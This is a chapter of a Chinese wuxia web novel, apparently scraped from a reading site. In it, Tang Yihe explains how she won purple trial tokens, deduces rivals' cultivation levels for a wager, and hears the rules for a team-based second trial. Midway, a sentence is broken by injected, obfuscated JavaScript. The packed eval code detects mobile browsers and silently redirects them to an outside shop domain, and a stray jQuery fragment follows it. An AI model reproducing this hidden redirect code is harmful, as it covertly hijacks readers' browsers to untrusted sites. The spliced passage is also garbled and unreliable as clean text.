经部的两名弟子从秀凤大长老那里拿到两块紫牌的消息,像风一样飞快传遍了整个山头。
虽然进去的时间有点久,但是紫牌啊,那可是紫牌啊,其中一块还是“大凤凰”亲自涂上的紫色,所以“大凤凰”是转性了吗?
再看经部的少年,浑身上下没有一丝狼狈,还是那副漂亮的模样,但要仔细看,嘴角有干涸的血渍。代阁主虽然脸肿了,行动略有迟缓,但精神焕发,眼神透亮,一看就是得了机缘,有了造化。
这是不是意味着反其道而行之,就能得到意想不到的结果呢?几个头脑灵活的弟子,互相吆喝着壮着胆,拉扯着去“大凤凰”名牌前排队,然后个个鼻青脸肿、灰头土脸地摔出来,连块白牌都没捞到。
秀凤大长老今日考量实绩:五人试炼,发两块紫牌,伤者五人,重伤三人。
果然还是威震宗门的“大凤凰”。
下午演武场上的玉牌争夺战,唐一禾二人并未前去,一是因为是紫牌不需要上场,二是因为唐一禾刚突破,气息不稳,最好打坐固基,三是他们现场去看,都未必有“万事通”说得详细,因为人名都对不上,看不出门道来。
夕食刚过,太阳还未落山,唐楚玉果不其然带着高文璟上门了。
“你先说,还是我先说?”这回唐楚玉学乖了,被三人合伙遛了一回后,他不想再当大冤种,“还是你先说吧,‘大凤凰’怎会如此好心,给了你们两块紫牌?”
唐一禾端起唐楚玉带过来的滋补雪蛤羹,闻了闻,一口干掉一半,将剩下的一半递给师弟,擦着嘴说:“他被打吐了血,我被打成了这样。”
唐一禾指了指自己的脸,又撩起衣袖露出青紫的胳膊,然后准备挽起裤腿,被唐楚玉尖声阻止:“你要干什么?”
唐一禾一脸无奈地说:“回来小腿胫骨疼得厉害,担心骨裂所以绑上了竹片,现在看看消肿了没有,你大呼小叫做什么?不是号称万花丛中过的人吗?这么假道学,还不如真小人。”
“我一片好心,被你当驴肝肺。”唐楚玉被噎得七窍生烟,“文璟你说说她,对,她说你是真小人。”
“你不要胡乱攀咬。”高文璟嘴角微翘,突然觉得此时差一个君白术——那也是个喜欢摆龙门阵的,那晚从万安堂回去,他可是送一路、说一路,热情地让人有点招架不住。
唐烈风看不下去了,喝了人家的雪蛤羹,总得给人点面子:“楚玉师兄,你来不是吵架的吧。师姐今天被打得很惨,不过蒙秀凤大长老指点帮助,‘九转心经’突破到了第七层,所以能拿到两块紫牌。”
唐楚玉得了台阶,下得飞快:“我明天给你带几瓶最好的消肿膏来,我乃真君子,竟然敢说我假道学,哼哼。”
“谢了。”唐一禾拖长了语调,“真君子,今天拿到的也是紫牌吧?这又是找谁疏通的关系呀?”
“自然是紫牌,哎,你什么意思?”唐楚玉正打算好好跟唐一禾理论,看到她擦药时痛得呲牙咧嘴的肿脸,顿时解了气,笑得幸灾乐祸,“不过也是,我堂堂唐小公子,自然有人为我修桥铺路,紫牌不过探囊取物,哪里犯得着被打成猪头?”
唐一禾懒得理他,转头去问高文璟:“你也没什么根基,上午应该拿到的是红牌,下午跟另一个红牌打了一架,赢了,然后也获得了一块玉牌,是不是?”
高文璟笑道:“如你所料,跟亲眼所见一样。”
“君白术拿到玉牌了吗?”唐一禾继续呲牙咧嘴地擦药,“他要能来就好了,省得我自己在这里瞎治。”
“他也拿到了玉牌,这会他怕是不好过来。”高文璟看了一下唐一禾紫红发乌的胳膊肘,“要不,我现在去喊他一声?”
“不用不用,都是皮外伤,揉开就好了。”唐一禾满手药油地摆手。
“你怎么不问我呢?”唐楚玉见二人相谈甚欢,把他撇到了一边,非常不爽地说,“下午文璟在场上,哪有我在下面看得仔细?”
唐楚玉压根不需要别人开口,生怕别人抢先地说:“君白术我专门找人查了一下他的底,原本只是万安堂一个不起眼的学徒,不知得了什么造化,医术突飞猛进,几乎是一夜之间声名鹊起,年纪轻轻就当上了万安堂的堂主。万安堂一直是器部的产业,君白术做人圆滑,做事敞亮,在器部笼络了不少人心。这不,‘九转心经’才练到第三层就能拿到玉牌,一看就是上一手掐着点儿送给他的。”
唐一禾心想,这就对上了,君白术之前坦诚学医之路坎坷,所幸得高人指点,才能有所大成。至于他能拿到玉牌,唐一禾并不意外,虽然他武功不怎么样,但有那么一手医术傍身,又不缺钱,施恩后驱使几个高手帮他取物,自然不在话下。
“那一百零八块玉牌,最后花落谁家?”唐一禾觉得,可以给唐楚玉递话头了。
“你可不知道,器部藏的有多深呐。亏我们的代掌门还一直以为制、器两部平分秋色,不分高下呢。结果一到动真格的时候,那边雨后春笋般冒出来那么多高手,单一个花间派就拿走了八块玉牌。我说他们也是真够狠的,本门心法说废就废,还能这么快练到五、六层。哎哎,都是些什么妖孽啊,你说是不是,文璟?”
高文璟眼皮都懒得抬一下:“如果是厉害的武者,有原来的内力打底,‘九转心经’练到第四层不算很难,但平地起高楼毕竟不稳当,五层往上就很吃力了,到了第六层基本是极限,再想突破就要跨一道鸿沟天堑。”
“但你练到了第七层?”唐一禾敏锐地抓到了重点,瞥了一眼“妖孽中的妖孽”。
“侥幸迈过,差点走火入魔。”高文璟面色平淡地说,“不敢再练了,怕混了气息,把我原来的武功都废掉。”
唐一禾一边朝高文璟竖起大拇指,一边头转向唐楚玉:“你继续说,器部一共拿了多少玉牌?”
唐楚玉一愣,回想一下刚刚说到哪了,才接口往下道:“五十八块,太生猛了,你没在现场,没看到咱们代掌门的脸,阴得都快滴水了,亏他一直自诩为严师明师,私下可看不起唐至雄,说他……”
“制部一共拿了多少玉牌?”唐一禾打断他。
“四十块。”唐楚玉张了张嘴,正准备继续往下说,见唐一禾摇头叹息,马上改口替制部挽尊,“也还好了,不算花间派那八人,也没有差多少。”
“我是感叹式部。”唐一禾把手上剩下的药油都擦在了裤腿上,扳着手指说,“式部现在衰败成这样了,才拿了八块。看着弟子人数也不少啊,演武场上身着褐色衣袍的,三成是有的。”
唐门作为传承数百年的大宗门,对弟子的衣着服饰是有严格规制的,经部白色,式部黄褐色,制部青蓝色,器部黑色,其中内外门弟子也有区分,不仅内袍外带制式不一,颜色深浅也各有不同。只有经部因人数实在太少,又远在洛川,阁主不做要求,也就无人在意了。
唐一禾接过师弟递来的帕巾,继续追问:“十一块紫牌,除了我们三人,还有哪八人?”
唐楚玉眨了眨眼睛,也开始掰着指头数:“制部这边三人,大师兄唐司南、二师兄唐方觉、三师姐唐丽娟。器部那边也是三人,大师兄唐司泽、十七师弟唐艾生、还有一个长老的弟子唐青山。式部两个,分别是阁主唐司丰和副阁主唐至尧。”
唐一禾不假思索,脱口而出:“这些人单就‘九转心经’而言,唐司南、唐方觉八层,唐丽娟、唐司泽七层,唐青山,嗯,搞不好也在八层,另外三个超不过六层,对不对?”
唐楚玉惊讶得瞪大了双眼,扇子都不摇了,扇尖指着唐一禾:“你,你是如何得知?昨天晚上在议事厅,你人、人都认全了吗?你不是一直在演傻村姑吗?不对,昨晚唐司丰都没来,他在长乐被人扣下了,今儿一早才屁滚尿流地跑回来。他胆子也是肥了,长乐元家他也敢敲竹杠……”唐楚玉说到这,第一次主动把话头绕回来,扇子一敲桌沿,“这个一会说,你先说,你是如何知道这些人的武功底细的?”
“唐司南不是交过手吗?我打不过,但文璟在第七层也说打不过,要用上本门功夫才行,唐司南不就应该是第八层吗?”唐一禾理所当然地说,“唐方觉啥也不干光练武,还比不上又娶姨太太又张罗生意的唐少阁主的话,那他就不是武痴,纯纯的武笨了。至于唐丽娟师姐,昨日下午我近距离探查过,当时我没突破,摸不透她的修为,姑且猜个七,是不是?”
唐楚玉激动地连连点头:“是是是,器部的那几个呢?你一个都不认识,怎么蒙的?”
唐一禾摸摸鼻子,故作姿态:“唐司泽搞出陆曼娘这么大个事儿,不就是忌惮唐司南比他厉害嘛,想让代掌门迫于压力,关唐司南禁闭,这样在唐门令的争夺中,他就能少一个劲敌,所以他肯定到不了八。但他跟唐司南一般岁数,又是师傅带的第一个徒弟,天资肯定是好的,后天也不会差,练了这么多年,还不能到七,他自己找块豆腐撞死算了。”
“哈哈哈哈,有点道理啊!”唐楚玉笑得眼角炸开了两朵花,“一根稻谷,你以后可以去官府当个捕快玩玩,推理演算有点子天赋。你快说说唐艾生,你要还能猜出来,给你一千两银子。”
唐一禾把刚擦完药放下的衣袖,又撸了上去:“一阁之主事务繁多,精力有限,亲传弟子一般不会超过十个,还得加上年老之后的衣钵弟子、关门弟子。唐至雄正值盛年,就算他从三十岁开始收徒,一年收一个,也就将将能收到第十七个,这个唐艾生什么来头,不是很清楚了吗?不过是爱宠变徒弟,一个最会哄人的男狐狸精呗。这种拿各种珍奇异宝堆的,也就堆到第六层顶了天。我估计他第六层都到不了,不然可以先拿个红牌,再找人拼个玉牌也不难。嗯,估计人缘也不好,上了演武场怕被人打死,只能砸血本,拿紫牌保送了。我猜他也就第五层。”
唐楚玉已经听得呆若木鸡,一直极力端着的如玉公子形象碎了一地,他突然跳起来,隔着衣袖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541714|203360||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
握住唐一禾的手:“你你你,太神了,要不是你是个女的,我都要跟你结拜为兄弟了。要不咱们以后一起摆摊算命,浪迹江湖吧?啧啧,想想都快意无穷。”
唐一禾将双手抽出,甩了甩:“一千两,说好了的,不得耍赖。”
唐楚玉从怀里掏出一摞银票,重重地拍在唐一禾面前的桌子上:“君子一诺千金。”
“你恁个积德,菩萨都记到的。”唐一禾赶紧点了点银票,好像只多不少,马上补了一句,“我是女的也无妨,可以义结金兰,摆摊算命就算了,揣着银子浪迹江湖可以有。”
“说说唐青山吧。”两道声音几乎同时响起,是唐烈风和高文璟。
唐一禾意识到还有两个听众,马上清清嗓子坦陈道:“唐青山我瞎蒙的,他一个非嫡传弟子,能拿到紫牌,功夫肯定差不了。器部总不能一个八层都没有,所以猜他一个八。至于式部,不是说好多年,都没个像样的年轻弟子了吗?我们初到罗城的时候,偶遇式部长老唐至远,他也止步于六层巅峰,打架靠各种罕见武器傍身,所以盲猜唐司丰、唐至尧也在第六层。”
“你们初到罗城,就是跟式部的人,一起碰到了‘鬼面夫妇’。”高文璟冷不丁问道,“然后你还留下了一些‘鬼妇’魏巍的银针暗器,用在了唐司南身上?”
唐一禾看了一眼高文璟,点了点头,心道这家伙脑子转得真快,比唐楚玉难糊弄多了。比如都这会儿了,唐楚玉才哦哦哦看看这个,哎哎哎看看那个,最后反应了过来:“对哦,还有银针这一出,唐代阁主你真是太有趣了,相见恨晚,相见恨晚啊。”
几人说话间,又有好几波拜帖递了进来,唐一禾看了看师承姓名,也不是非要见的人物,估计是些奉命前来探路,善于言谈变通的弟子,但也很客气地让门房传话,说代阁主今日内伤严重,不便见客,等调养一些时日后,再登门拜访。
闻弦知雅意,唐楚玉虽然意犹未尽,还是起身告辞。高文璟临走时再次确认了一遍,要不要把君白术叫过来,得到否定答案后,才跟唐楚玉一起离开了。
晚间山中下起了淅淅沥沥的小雨,唐一禾身上疼得厉害,翻来覆去睡不着,干脆听着雨打芭蕉声,想着近日发生的各种事情,在心中盘算着线索。突然门口传来轻轻地叩门声,唐一禾一听就知道是师弟:“进来吧,你怎么还不睡?”
唐烈风依言进来,手上抱着一条被子,径直走到软榻前铺好,躺了上去。
之前入住揽翠阁时,唐一禾看到整个唐家堡守卫森严,唐丽娟师姐又安排了两间精舍,也就跟师弟一人一间住下了。昨晚睡得就不深,毕竟师弟不在身旁,不敢将五感全封了,今夜更是疼得一翻身一个哆嗦,暗骂“大凤凰”下手太狠。等唐烈风进来后一言不发地卧下,她也累得不想说话,马上封了五感,沉沉睡去。
清晨醒来,唐一禾伸了一个大懒腰,觉得浑身的疼痛少了大半,耳聪目明远胜从前。哇塞,这就是第七层的境界啊,果然不一般,那师弟的第八层,又该是如何的精力充盈,真气勃发?唐一禾扭头一看,软榻上早已没了人影,连铺盖卷儿都带走了,仿佛昨晚压根没人进来过一样。
今日的议事厅,依旧座无虚席,无论拿没拿到玉牌的,都挤了过来看热闹。
宣布第二场规则的,依然是阴鸷沉郁的秀凤大长老。不过这回他目光扫过来时,唐一禾报以了最真诚甜美的笑容,让“大凤凰”马上收了眼,法度森严地宣布:“凡持玉牌者自行组队,每队三人至五人不等,每队必须由三部及以上弟子组成,一个时辰内完成所有组队,任何人不得干预,组队后人员不得更改,任何原因不得增补。”
饶是“大凤凰”的赫赫凶名,仍然压不住议事厅爆发出的道道惊呼,以及随后的茫然四顾。唐一禾忍不住要笑出了声,让你们制、器两部拼命抢玉牌,只给式部留了八块,这下好了,去求人家跟你们组队吧。
唐一禾心里盘算得飞快,她跟师弟肯定是要一个队的,所以这样算来,最多能组九个队。也就意味着,厅里一百零八个玉牌持有者,最多只有四十五人能组队成功,进入第二场的试炼。
不过唐一禾现在最关心的问题是——组队后如何判定成绩?如果是团队互殴,那肯定是人越多越好,组满五个是最佳选择;如果是比速度做任务,那也是人多合适,有冲锋也有善后;如果仅是考量个人成绩、最后算均分,那就不能有拖后腿的,不合适的人是累赘。
眼见着议事厅内的“嗡嗡”声越来越大,“大凤凰”发出一声长长的尖啸,顿时压住了全场喧嚣。
“都给我闭嘴!第二场选拔不考量个人,只看队伍成败。最终获胜者只有一支队伍,队伍里所有的人,不论是否走到终点,都可以面见老祖,由老祖亲自考量。”“大凤凰”顿了顿,见所有人都噤若寒蝉,才稍微满意了点,“听明白的就赶紧滚去找人,拉齐人马后去找我,各队再选出一名队长,我就等一个时辰。”